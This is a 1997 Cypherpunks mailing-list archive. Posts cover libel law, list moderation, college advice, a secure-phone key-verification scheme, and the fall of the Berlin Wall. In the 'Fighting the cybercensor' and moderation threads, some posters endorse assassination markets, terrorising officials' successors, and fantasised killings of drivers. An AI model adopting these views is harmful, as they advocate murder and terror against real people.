> > > people from hearing you at all.  Oh, lovely, isn't it?
> > > 
> > 
> > Don't you like power, Dale?
> > 
> > 	- Igor.
> > 
> 
> Power corrupts, in some instances.


Instances where the power is concentratted to one individual
or small group of individual....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbugden@smtplink.alis.ca
Date: Tue, 28 Jan 1997 13:14:29 -0800 (PST)
To: ravage@einstein.ssz.com>
Subject: RE: Libel/slander & crypto relevancy
Message-ID: <9700288544.AA854475143@smtplink.alis.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> wrote:
I have received several private emails inquiring into what possible crypto
relevance the recent exchange over libel/slander and the law. It is clear
that even in democratic countries like Canada (not know as a freedom of
speech protectorate) slander/libel is covered under criminal codes. While
it is true that currently these statutes are not heavily used, if at all,
this will change as businesses and special interest groups move even further
onto electronic networks. Consider the zealous use of the law by the CoS.
Ask Julf if the ramifications are not 'real world'.
 
                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com
    
Not one to ever let a mention of Canada go unchallenged - even when it is a
simple fact or a compliment - I thought I should jump into the discussion.
 
Like the CoS, many companies have threatened libel actions as a means to silence
people. The McLibel Two in Britian quickly come to mind.
 
However, also like the Cos, many companies are finding that the net effect of
these libel suites are not in their favour even when they win.
 
Some brilliant examples of subversive use of trademarks can be found at the
site: http://www.adbusters.org
 
Specific examples:
http://www.adbusters.org/Corporate/Greasestick.html
http://www.adbusters.org/Gallery/spoofabs.html
http://www.adbusters.org/Corporate/Kalvin.html
 
A little clever marketing could go a long way to promoting privacy issues in the
public consciousness. Perhaps an NSA Friends and Family calling plan?
 
James





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OKSAS <oksas@asimov.montclair.edu>
Date: Tue, 28 Jan 1997 13:14:09 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: overview.htm (fwd)
In-Reply-To: <32EDA9B3.6FA0@gte.net>
Message-ID: <Pine.SOL.3.93.970128102231.28014B-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 27 Jan 1997, Dale Thorn wrote:

> Nurdane Oksas wrote:
> > On Mon, 27 Jan 1997, Dale Thorn wrote:
> > > Nurdane Oksas wrote:
> > > > On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> > > > > Nurdane Oksas wrote:
> > > > > > California is know for very beautiful girls ...
> 
> > seems, Americans like their own women , which is all they
> > have seen maybe...
> 
> > > Anywhere else and it's no different from Cleveland or Pittsburgh.
> 
> > Well, can you say you've been 'anywhere else'?
> 
> Lived all over So. Cal. for 12 years, 4 years in SE Tenn., close to
> Atlanta.  Atlanta has some nice babes, warm weather.  I fell totally
> in love with a girl from Chattanooga, who was probably the best college
> radio D.J. who ever lived.  Lived in Charleston for a short while.
> Much smaller than Atlanta.  Very cozy.  Spent a lot of time in
> Cleveland, Pittsburgh, Detroit. The best babes there are usually the
> Chrissy Hynde (Akron) types.  Spent 2-1/2 years in Southern Germany.
> Very, very nice.  Loved Berchtesgaden (sp?).  Interestingly enough,
> I have a fondness for English girls.  Must be the ancestry thing.
> I'd really like to talk to some Welsh girls - my mum's grandparents
> came to the U.S. from there.  What about you?


	I am not into girls...sorry.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Tue, 28 Jan 1997 13:07:04 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <854471616.912211.0@fatmans.demon.co.uk>
Message-ID: <Pine.SUN.3.91.970128100213.23979B-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Mon, 27 Jan 1997 paul@fatmans.demon.co.uk wrote:

> The list has been disentigrating for some time since the disgusting 
> incident when Dimitri was forcibly unsubscribed from the list. 

I'm curious about the gratuitous use of the word "forcibly" by
Paul.  Does this mean Gilmore took a fire axe to the computer or
something?  Dimitri was unsubscribed.  It was done more or less
against his will.  ("More or less" because he in effect said to
John, "bet you can't stop me.")  What does "forcibly" add to this
discussion besides melodrama?  No force was required.  John had
the right and ability to pull the plug on Dimitri.  "No animals
were harmed in the making of this film."  "Force," my ass.

> have also been a number of postings from members of the list claiming 
> to understand anarchism who support censorship to "protect new 
> members of the list".

There are various definitions of "censorship" and various flavors
of anarchism.  I'm a market anarchist, Paul is not.  Paul claims
to believe that any form of moderation is censorship.  I think
that enforcing standards of decorum on a private, voluntary list
are not censorship.  Reasonable minds may differ.  I acknowledge 
that Paul's interpretations are not without some justification.
(I just think they are incorrect in the instant case.)  Paul, on
the other hand, seems to be a True Believer.  He brooks no view
other than his own.  (Curiously hypocritical under the 
circumstrances.)
 
> So, there would be no intellectual dishonesty in a country claiming 
> to be a free and open society "trying out" fascism for a month or 
> two? - After all it`s a private country just as this is a private 
> list....

Paul's sophistry is showing.  Nation-states are entities that
exercise a monopoly on the use of force (real force, Paul)
within (and often without) their boundries.  Mail lists are far
more like private homes, businesses or clubs.  When you are a
guest there, you are subject to their rules of behavior.

> There is a clear trend easily observable on the list whereby certain 
> members postings are censored when their content is of a standard 
> that, if the moderation were objective and based on content alone, 
> would warrant their being sent to the censored list.

Several substantive examples, please.  True, nothing Bill Stewart
has posted has been sent to CP-Flames.  One guess why.  Numerous
posts by Dimitri have been posted to CP-Moderated, but many more
have not made the cut.  There are much more obvious reasons for
this than Paul's biased analysis.
 
> I can tell you one other thing for sure, even if the moderation 
> "experiment" were to end in a month as a last ditch attempt by John 
> Gilmore and Sandy Sandfort to recover some of their lost credibility 
> it would be a vain and entirely unsuccesful attempt.

YMMV.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 28 Jan 1997 13:10:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Libel/slander & crypto relevancy (fwd)
Message-ID: <199701281642.KAA05566@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 28 Jan 1997 01:28:19 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Re: Libel/slander & crypto relevancy
> 
> Civil actions against people doing "graffiti" are only interesting where
> the defendant has assets worth suing for. This economic dimension
> substantially limits the number of suits which will be brought.

Thank you for agreeing with my thesis that the legal industry is one
driven by monetary gain and not justice. It is the one major problem
with law today, it ignores those who are not 'worth it'. Justice is
supposed to be blind and until that happens there can be no true
liberty. Law should be involved in rights and wrongs and not 'how much
money do I need to buy that villa in Spain'.

There is also the aspect of 'reputation' of the organization which was
defamed. This will become even more critical to good business over the
Internet in the future than it is now. Now the only really important
'reputation' that one has to worry about is their credit report. Since
it is very unlikely that such records will be made public in the future
they won't be available so some other 'reputation' verification process
will be required for parties interested in doing business with other
parties they have no information on other than an email address or a
webpage. This problem became very clear during the Austin Cypherpunks
remailer project last year. The goal was to create a economicaly viable
keyserver. The problem rapidly became one of trust and reputation and
there was and still is no clear cut methodology for dealing with these
concepts, let alone actualy trying to quantify them. Another aspect of this
that keeps coming up is one of 'big' corporations with 'lots' of money,
this monotonicity in legal thought is the reason I refer to the 'legal
industry' and not 'legal profession'. Currently the main force driving
law is how much money is available. Expansions of liberty simply can't
happen in this environment because there is no mechanism to protect
'little' organizations or persons without 'lots' of cash. This problem is
one that is not being addressed by anyone, most especialy lawyers who
will loose income which they aren't apt to do voluntarily.

> Criminal prosecutions for defamation (in the case of "graffiti") are still
> unlikely - a much more straightforward charge would be unauthorized access
> to a computer or some flavor of fraud, depending on the facts.

This would be hard to do in the situation such as a mailing list because
the parties would have 'authorized access' and it does not include the issue
of inside parties nor 'web bbs's' where parties can enter comments and
other statements in a 'authorized' manner. There are mechanisms to use 
computers for abuse of other parties besides hacking.

> Confusion
> aids defendants, so I predict prosecutors will avoid defamation law (and
> its tar pits of actual malice and the defense of truth) when they are able
> to do so and still have a reasonable chance of conviction.
> 
> >If they don't
> >understand the technology (eg forwarding private email to publicly
> >accessible lists by accident) how in the world are they going to understand
> >what is best, let along convince anyone else?
> 
> There's a world of difference between understanding technology and screwing
> up once in awhile.

Absolutely. However, if there is not a fundamental understanding of the
technology and its ramifications I certainly wouldn't want somebody making
a case on my behalf because they would make assumptions which were not
based in fact. In Toto's case the point I was refering to was not his
sending private practice related material to a publicly accessible list
(pretty reprehensible for my attorney accident or not) but rather his
unsolicited admission that he didn't have any idea how it works. THAT
would worry me if my liberty, possessions, or life were on the line.

> I was that "party", and I guess that in trying to be civil I was actually
> unclear. If you were a politically important person or organization, and if
> Toto's message had caused you real damage, and if Toto were reasonably
> available to prosecute, a prosecutor might get interested. But you're not
> important, Toto would be difficult to extradite, and you weren't harmed. So
> you picked a crappy example to make your point(s) with. Change the facts,
> and you'll get a different answer. Duh.

Actualy it is the PERFECT example of what is wrong with the law, it is the
reason that I went to such extremes to force the situation. If the law
can't protect Ma. and Pa. Kettle (their poor, being share croppers) under
our 'democracy' it shure can't proctect them under a more 'liberalized'
democracy which so many want and the technology will force. If the
coming technocracy can't (or for monetary reasons won't) then it won't
be any different that what we have now. A tyrant is a tyrant, my goal
is to get rid of the cage and not to put a new layer of gilt on it.

> You picked a hypothetical which did a poor job of illustrating the points
> you're making in this later message. Do you want to talk about whether or
> not Toto is criminally liable for making fun of you while making a point
> about ownership of networks and its relationship to freedom of speech, or
> do you want to talk about the more general case of liability for
> misattribution? If it's the latter, yes, there are some issues there, but I
> still think that defamation law is a poor way to address them. You seem to
> be having an "I've got a hammer, everything looks like a nail" problem. 

The point is not whether Toto did or did not make fun of me, you seem to
have a prediliction for personal attacks. It ain't.

The point is that if joe-six-pack isn't secure in knowing that his views
and expression are not protected from abuse he won't use it. We all loose
in that case.

> And all of this seems a bit contrived if the real crypto-relevant point is
> "use digital signatures to avoid misattribution". 

You missed the point, keep pondering. I am shure it will come to you.

> Despite your closing, I haven't seen you write anything about "how it
> should be", 

Because I don't know how it should be, and it isn't my place or yours to
make that decision. It is our responsibility to discuss this issue and
to review the various solutions and what they will mean in the long run
(as near as we can make the future out that is).

In this example, if party A makes a statement and then B changes it and
then re-distributes it as original comments by A then there is a problem
irrespective of the monetary worth of A or B. Digital signatures in and of
themselves won't help this from happening unless it is required to include
the full text and signature of any quote in any subsequent use of that
material otherwise the quote and the digital signature are out of sync and
therefore worthless.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 28 Jan 1997 13:10:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701281651.KAA05582@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
> Subject: Re: Fighting the cybercensor. (fwd)
> Date: Mon, 27 Jan 1997 21:36:13 -0500
> 
> I don't agree with your view of states. The inhabitants of a
> geographical area are not mere chattels of the governing power.

Exactly! By jove you got it! By demanding your liberty but demanding
that 'we' go to Singapore or anywhere else and treat them as chattels
we have clearly instituted a double-standard. Most parties in this
discussion still haven't made that distinction.

All we have done is replace their current tyrant with a new one, mainly 
us.

> The right to rule rests on certain criteria which I believe neither 
> country meets. The harassment of opposition politicians in
> obviously trumped up charges disqualifies any country from
> calling itself a democracy.

Exactly. And by applying pressure on Singapore we only help them keep
that tyrany in place. The quickest way I know to make a social institution
band together is self-preservation from an outside threat, real or
perceived.

> I am a cyber-revolutionary and the world has bought into
> the chaos of our revolution. I never intended the Web to be a tool
> for confirming the present social order which is manifestly 
> corrupt.

ALL social orders are corrupt. The 3 laws of thermodynamics apply to
everything including social institutions.

1. You can't get ahead
2. You can't break even
3. You can't quit the game

                  Heinz Pagels (RIP)


                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: biz25@prodigy.net
Date: Tue, 28 Jan 1997 13:11:08 -0800 (PST)
Subject: I-Link
Message-ID: <199701281611.LAA87892@mail1y-int.prodigy.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

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-------------------------------[ End of Form ]--------------------------

http://www.bluesky.net.au/~aim/downline.html
           id#: 21
--------------------------------------------------------------------------
http://www.mlmpals.com/chain/ch049.htm
-------------------------------------------------------------------------- 









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Blossom <eb@comsec.com>
Date: Tue, 28 Jan 1997 12:42:57 -0800 (PST)
To: aba@dcs.ex.ac.uk
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
In-Reply-To: <199701201612.IAA12435@toad.com>
Message-ID: <199701281938.LAA10043@comsec.com>
MIME-Version: 1.0
Content-Type: text/plain


>> It is not clear you need signatures in the secure phone case.  Eric
>> Blossom's 3DES uses straight DH for key exchange with verbal verification
>> that both ends are using the same key.  
>
>How does Eric's box display the negotiated key to the user?  (I don't
>recall the pair I saw having displays).

Latest versions have an LCD display that reports the type of crypto
being used (3DES), as well as 24 bits worth of SHA-1 of the public
exponentials exchanged.  Alice sends g^x mod p, Bob sends g^y mod p.
Let m = min(g^x mod p, g^y mod p) and n = max(g^x mod p, g^y mod p).
compute v = SHA (concat (OCTET_REP (m), OCTET_REP (n))).  Display the
high 24 bits of v.

>Also I thought it would be kind of cute if there were some way for
>phones to exchange their signature keys `face to face' as well.

Currently, absent some kind of widely deployed public key
infrastructure, there are no signature keys used.  This also means
that the units do *not* contain any long term secrets, just the
session key which is destroyed at the end of the call.

Eric





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Tue, 28 Jan 1997 13:08:53 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <32EE18D5.62DA@gte.net>
Message-ID: <Pine.LNX.3.95.970128114554.9818A-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997, Dale Thorn wrote:

> aga wrote:
> > On Tue, 28 Jan 1997, Dale Thorn wrote:
> > > Igor Chudov @ home wrote:
> > > > Dale Thorn wrote:
> 
> > > But seriously, I was just telling the folks over the weekend, if I
> > > had my hand on the button, a lot of people would die very quickly.
> > > As in The Day The Earth Stood Still, a single act of aggression would
> > > suffice to be immediately terminated.

No trial, huh?

  The best place to begin, in
> > > the USA at least, would be the public freeways.  There you have the
> > > most acts of aggression in a short space, and the best pickings for
> > > liquidation.  Give me the power, and I'll show you all those nifty
> > > techno-ways of eliminating people that have been kept from the public
> > > by our benevolent government ("sources and methods").
> > >
> > > BTW, I don't give a damn about someone "cutting me off", since I'm
> > > not aggressive enough (outside of my liquidation duties) to be bothered
> > > by that in most cases.  I'm primarily concerned with vehicles who get
> > > too close behind, who pass with no safety margin, etc.  I call these
> > > people anal-compulsive (as opposed to anal-retentive).  You've seen
> > > the videos on PBS, the various animal species whose male members
> > > perform occasional "mounting" of others to intimidate.  There are a
> > > large percentage of humans who try to do the same thing, demonstrating
> > > that they (IMO) have no further need of their lives.
> 
> > Boy, it is a fucking Bitch living in that L.A. traffic, huh?
> 
> I heard years ago that approximately 10% of the people on the street
> are certifiably mentally unstable.  Multiply that by two at least for
> Los Angeles (suburban L.A., actually, Hollywood for example is much
> safer than Altadena or Westlake Village).
> 

Just carry a gun all of the time when you go over there.

> Quincy M.D. (the old TV show) did an excellent piece once on how a
> person can more-or-less legally commit murder with a car, by passing
> a deliberate act off as an "accident".  It's one area of our law
> enforcement where the law (or rules) as stated by the state and as
> enforced by the state cops don't even agree.
> 

Maybe it is best to travel only on the net any more.
The highways are deathtraps.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 28 Jan 1997 13:01:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199701282026.MAA23636@cygnus.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:00 PM 1/27/97 EST, Dr.Dimitri Vulis KOTM wrote:
>blanc <blancw@cnw.com> writes:
...
>> 2) Why do you suppose the Iraqis haven't already thought of doing this
>> themselves?
>
>Perhaps because they love Saddam, who really is a great guy. Stop listening
>to what U.S.gubmint and media tell you and use your brain.  What did
>Saddam do to _you?
Those of us in the US have the luxery of secret ballots, Iraq is not.  What
was reported to me (by the media) was that those who decided to vote against
Hussein, in a time when food was scarce, decided to vote against eating.  It
was not made illegal to vote him out, merely a catch 22, unless enough
people agreed openly, the vocal minority would suffer.  What we should have
been doing as the troops pulled out and a no fly zone was being established
was dropping bombs full of bread on the populus.  Then they could have voted
any which way they chose.

...
>> Destructive people often ascend to positions of power not simply because
>> they are ruthless, but because they have 1) many sycophantic followers and
>> 2) many ignorant, vulnerable people unable to prevent it.  You might be
>> able to kill off  one Saddam, but potentially many others would be waiting
>> in the wings to take his place.   The situation surrounding the existence
>> of someone like Saddam is part of the contributing factors which keeps him
>> there, not simply that one man himself.  It was the same with Hitler and
>> with so many others  -  they don't just have an excess of  "power"
>> concentrated within themselves which puts them in positions of control over
>> others  - there will have been many people who will have helped put them
>> there, expecting to derive benefits from it.
>
>I don't like your Saddam example, having much admiration for the man, but
>again this goes back to the perceived likelihood of future assassination.
>If Saddam is killed in an unlikely event, he will be succeeded by someone
>who does not fear assassination. If all potential successors are convinced
>that the rubout can be repeated, they won't go for the job. Remember, the
>purpose of "terrorism" is not just to kill someone, but to "terrorize".
>
>> And what will be done about all those people who made this "power"
>> possible?  You don't just kill the one man and be done with it - you have
>> to also "kill" the conditions which maintained him.
>
>You rub out enough key people and terrorize their potential successors
>into not wanting to take over their jobs, and the system collapses.
...

I don't remember where I heard this, and in all likelyhood, I heard it here.
This is certainly not a direct quote, ant would the origional poster please
speak up.

There came a time, in some ancient civilization when the king committed
suicide by eating poisoned food.
In the remaining week, most of the household, apparently in honor of the
deceased king, jumped on kitchen knives and butcher knives, killing themselves.
The brother of the king would not come out of hiding because some unknown
person was terrorizing him with a meat cleaver.
After a year, it was apparent that no one in the line of succession still
survived, all killing themselves with kitchen utensils.  It was rumored that
the post was cursed.  It was then that the royal galley slave bravely
stepped foreward to rule the kingdom until one of the origional line should
return.
The decendants of the galley slave have ruled to this day.

Like I said, I don't know where this came from, but I would like to see it
again, if it came from here.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derek Atkins <warlord@MIT.EDU>
Date: Tue, 28 Jan 1997 13:07:38 -0800 (PST)
To: Erp <erp@digiforest.com>
Subject: Re: Best Computer School?
In-Reply-To: <199701280003.QAA10002@toad.com>
Message-ID: <sjmraj5iu2t.fsf@bart-savagewood.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Erp <erp@digiforest.com> writes:

> On Mon, 27 Jan 1997, SpyKing wrote:
> 
> > This is a little off topic but maybe someone can help. I've got a teenage
> > son (HS sophomore) who's interested in majoring in computer science in
> > college with a particular interest in cryptography. He's leaning toward MIT.
> > Any suggestions from list members as to colleges to investigate? 
> 
> Well in reference to MIT..  I hope he has a 4.0 in highschool, is an
> allsport, has a 1600 on his SAT's, and a prefect on his ACT..  Just to
> even think about going there..  Let alone to include how well he'll have
> to do on his interviews etc..  Also you may wish to have him look again at

This is really exagerating.  You do not need a 4.0, 1600, etc. to be
admitted to MIT.  Sure, you need good grades, but a 3.6 average and
1350-1400 SAT scores is perfectly adequate to be admitted to MIT.  You
can think of being admitted with even lower scores, if you stand out
in some way.  MIT admissions looks for well-rounded students.  You're
much better off being a writer/artist/musician than being on the
science or math teams.

> what he wants to be before he goes to some major college such as MIT,
> because tuition at MIT costs approx 100,000$/4 years.  Personally that is
> a hell of a lot, but then again *shrug*...  I recommend going to a local

It may be alot, but then again MIT is one of the best schools in the
world (I'm not going to be egotistical enough to say it *is* the best,
even tho Consumer Reports rated it such for the last N years).

> small college, get his associates, see if that is what he still wants to
> do, then go on from there.  I know many people that started in Computer
> Science and died after the first year.  
> Now colleges that are good for Computer Sc ience..  I have heard that RIT
> is good..  but I'm nto sure on that..  I know pretty well positive that
> MIT is excellent, but when you get down to the basics MIT is more of an
> engineering school than a science/philosophical school which Computer

This is untrue.  The computer science department at MIT is really
good.  As are the sciences, and even business!  The MIT Sloan School
(Management and Economics) was rated #1 last year.  The EECS
department (EE and CS are together) is top notch, too.

Ciro Maria <cmaria@stevens-tech.edu> writes:

> Yeah Stevens Institute in Hoboken. Its pretty good I got there. Also
> Caltech is good, I don't really know which else.

When I looked at Caltech, their Engineering (and computer science)
really lacked.  They were excellent for the Sciences (Math, Physics,
Chemistry, etc.) but their engineering school wasn't as good as others
I was looking at (both EE and CS).  Things may have changed in the
last 8 years, however.


Spyking, my advise to you: Look around at many schools.  Go visit
them.  Talk to the students there.  Talk to the professors.  Talk to
graduates.  The more information you and your son have, the better
decisions you and he can make.

Personally, I loved MIT -- it was the right place for me.  It isn't
the right place for everyone.  Make sure it is the right place for
your son before he applies.  For what it's worth, I wanted to go to
MIT my sophomore year in high school, too ;)

Good Luck,

-derek

-- 
       Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory
       Member, MIT Student Information Processing Board (SIPB)
    Home page: http://www.mit.edu:8001/people/warlord/home_page.html
       warlord@MIT.EDU    PP-ASEL     N1NWH    PGP key available




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 28 Jan 1997 13:07:24 -0800 (PST)
To: "'dthorn@gte.net>
Subject: RE: Fighting the cybercensor
Message-ID: <01BC0D1B.1237DBE0@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


>That's it?  The system collapsed because the guards left their posts?
>And no mutiny charges?  Incredible.

I was there.

The collapse of East Germany was quite spectacular. There
was at most three months of warning. First there was a series
of sit ins at foreign embassies, then a migration of large 
numbers of people in their twenties within the eastern block.

I missed the actual collapse of the wall itself having to go
to England. I was told of the sequence of events by friends in
Berlin. 

By this time the protestors were confident enough to stage
open demonstrations. The authorities had tolerated small
scale demonstrations for some time provided they did
not appear to be part of a larger movement. The sudden 
increase in numbers from tens to tens of thousands left
the authorities unsure of what to do. They could not be
sure of the reliability of the police should they attempt 
to violently suppress the demonstrations. To imprison the
ringleaders was equally dangerous. The communists were
aware that the South Africans had continued to be troubled
by Mandela and Biko long after they were imprisoned or 
murdered.

At some point a group of protesters approached the wall,
probably hoping to goad the police into making an arrest.
The guards made no response and the numbers increased to
the point where firing of warning shots was impossible
without causing a massacre. West German protesters joined 
from the other side of the wall. The border guards did try 
to use a water cannon but to little effect since the
range was insufficient.

At some point someone appeared with a sledge hammer and a
pickaxe. Some people say that this was at the start of the 
protest, others that someone fetched them. I have heard 
people who believe that they were brought from either side
of the wall. They started attacking the wall and soon had 
removed one of the panels.

Next day the border guards quite literally abandoned their 
posts. The Brandenburg gate was opened for the first time 
in fifty years and the party apparatus all but collapsed.


The only military activity during this period was GDR forces
preparing against possible invasion by Soviet forces. Not that
this was a logistical possibility since it was unlikely they 
would get across Poland unopposed.


Read Norman Davies book "Europe a history" if you want to find
out the background for the velvet revolution. It is one of the
most amazing events in political history. It is a pity that
people have forgotten so quickly about the real causes. It
was not military power that prevailed but the protest movement.

Unfortunately US commentators tend to see everything in terms of
US cultural norms, many of which were explicitly rejected by the
protestors. The East Germans wanted West German affluence, they
wanted to be part of Western Europe. They were certainly not 
responding to US military spending as right wing theorists claim, 
nor was the economy collapsing because of the arms race, it
was collapsing because of the costs of a totalitarian state and
the incompatibility of that state with modern industrial 
organization.


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 28 Jan 1997 13:16:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199701282116.NAA02586@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:47 PM 1/27/97 -0800, jim bell wrote:
...
>You misunderstand AP, yet again.  AP doesn't really take votes, it merely 
>totals donations.  It is an essential element of the AP system that even a 
>tiny minority should be able to kill individuals who are seen as threats, as 
>long as this capability is universal.  True, the smaller the minority the 
>more uneconomical such an action would be for them, but it would be well 
>within the ability of 1% of the population to avoid a another Holocaust by 
>getting rid of those pushing for it.
>
>In the current political system, in the US for instance, 51% of the 
>population is able to screw the remaining 49%, just as long as they can 
>maintain the majority.  Or, perhaps even more accurately and ominously, a 
>tiny fraction of the population (the current leadership class) is able to 
>screw the 49%, as long as they have the un-thinking backing of the remaining 
>and relatively uninvolved 51%.
>
>AP disables this system.  AP turns government into the moral equivalent of a 
>pick-up football game:  Nobody is being forced to play, and everybody and 
>anybody can simply "get up and leave" whenever he wants to.  The moment the 
>"rules of the game" to make an individual's continued participation 
>unsatisfying, he can leave.
>
...
In our society, which, if I remember correctly, 10% of the population
control 90% of the wealth, AP would only lead to 10% of the population being
able to screw the remaining 90%.  At least as it is, it takes a simple majority.

As for the murder of the rich, here is a scenerio.

A collection of poor pool their capitol to have a tyrant killed.
The tyrant assembles a counter-wager saying that anyone able to prove thier
ability to kill him without harming him, and who can show they got through
will get 110% of the poor's bid.
The household is told that a standing bounty has been placed with a
collection of individuals, on the head of the trigger man involved in the
tyrants murder.
The poor can not hope to match the tyrants bid as they only have 10% of the
wealth, the household knows that thier participation in an attempt on the
tyrant will get them killed.  Even if the attempt was successful.
The people from the outside who would benefit from the bounty benefit more
by taking the tyrants offer and then trying again, i.e. tiger teams.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Somebody <nowhere@erewhon.org>
Date: Tue, 28 Jan 1997 13:04:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Sovreign Right of Lawful Access
Message-ID: <32EE44E4.2B22@erewhon.org>
MIME-Version: 1.0
Content-Type: text/plain


This morning at the RSA keynote, David Aaron, the US Crypto ambassador
quoted the "Sovreign Right of Lawful Access" as
something that goverments were determined to preserve.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Theodor.SCHLICKMANN@BXL.DG13.cec.be
Date: Tue, 28 Jan 1997 04:32:34 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: How to subscribe
Message-ID: <WIN2359-970128123549-7163*/G=Theodor/S=SCHLICKMANN/OU=BXL/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
MIME-Version: 1.0
Content-Type: text/plain




I have learned from the discussions in this list that there are other lists related to this one. Can anybody send me information on what is available and when this confusion  created by having different lists will stop.

cypherpunks : unmoderated and uncensored
cypherpunks : unmoderated and censored
cypherpunks : moderated   and uncensored
cypherpunks : moderated   and censored
cypherpunks : US eyes only -- export restrictions
cypherpunks : Europe 
cypherpunks : private mail

Theodor W. Schlickmann 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mullen, Patrick" <MullenP@ndhm06.ndhm.gtegsc.com>
Date: Tue, 28 Jan 1997 13:05:20 -0800 (PST)
To: "'Phil Karn'" <karn@qualcomm.com>
Subject: Where's reference? (was:RE: [DES] DES Key Recovery Project, Progress Report #7)
Message-ID: <c=US%a=_%p=GTE%l=NDHM06-970128183839Z-82170@ndhm06.ndhm.gtegsc.com>
MIME-Version: 1.0
Content-Type: text/plain


>>----------
>>From: 	Phil Karn[SMTP:karn@qualcomm.com]
>>>If past cryptographic software is any indication, the DES Cracker
>>>will be available from an overseas ftp site within hours of release in
>>>the US.
>>
>>And lacking that, the author can always print it out on paper and
>>physically mail it out of the country; this is specifically allowed by
>>the new Commerce rules as I understand them. And who's to say that the
>>overseas FTP copies weren't scanned from such a paper copy? :-)
>>
>>Phil
>
Where can I get a reference to this?  I thought you weren't supposed to
transmit
cryptographic code out of the U.S. under any means, including print...
>(???) 
>
>~ Patrick
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Tue, 28 Jan 1997 14:00:16 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701282159.NAA11748@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn writes:
> I heard years ago that approximately 10% of the people on the street
> are certifiably mentally unstable.  

This depends on your standads of "unstable". I'll bet genetic
diversity is now much more of a factor then when those standards were
written.

> Multiply that by two at least for
> Los Angeles (suburban L.A., actually, Hollywood for example is much
> safer than Altadena or Westlake Village).

I beg to differ. Which parts of Altadena and Hollywood are you
referring to?
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

               Call on God, but row away from the rocks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Erp <erp@digiforest.com>
Date: Tue, 28 Jan 1997 13:02:04 -0800 (PST)
To: Derek Atkins <warlord@MIT.EDU>
Subject: Re: Best Computer School?
In-Reply-To: <sjmraj5iu2t.fsf@bart-savagewood.mit.edu>
Message-ID: <Pine.LNX.3.95.970128135407.19274A-100000@digital.digiforest.com>
MIME-Version: 1.0
Content-Type: text/plain





On 28 Jan 1997, Derek Atkins wrote:

> Erp <erp@digiforest.com> writes:
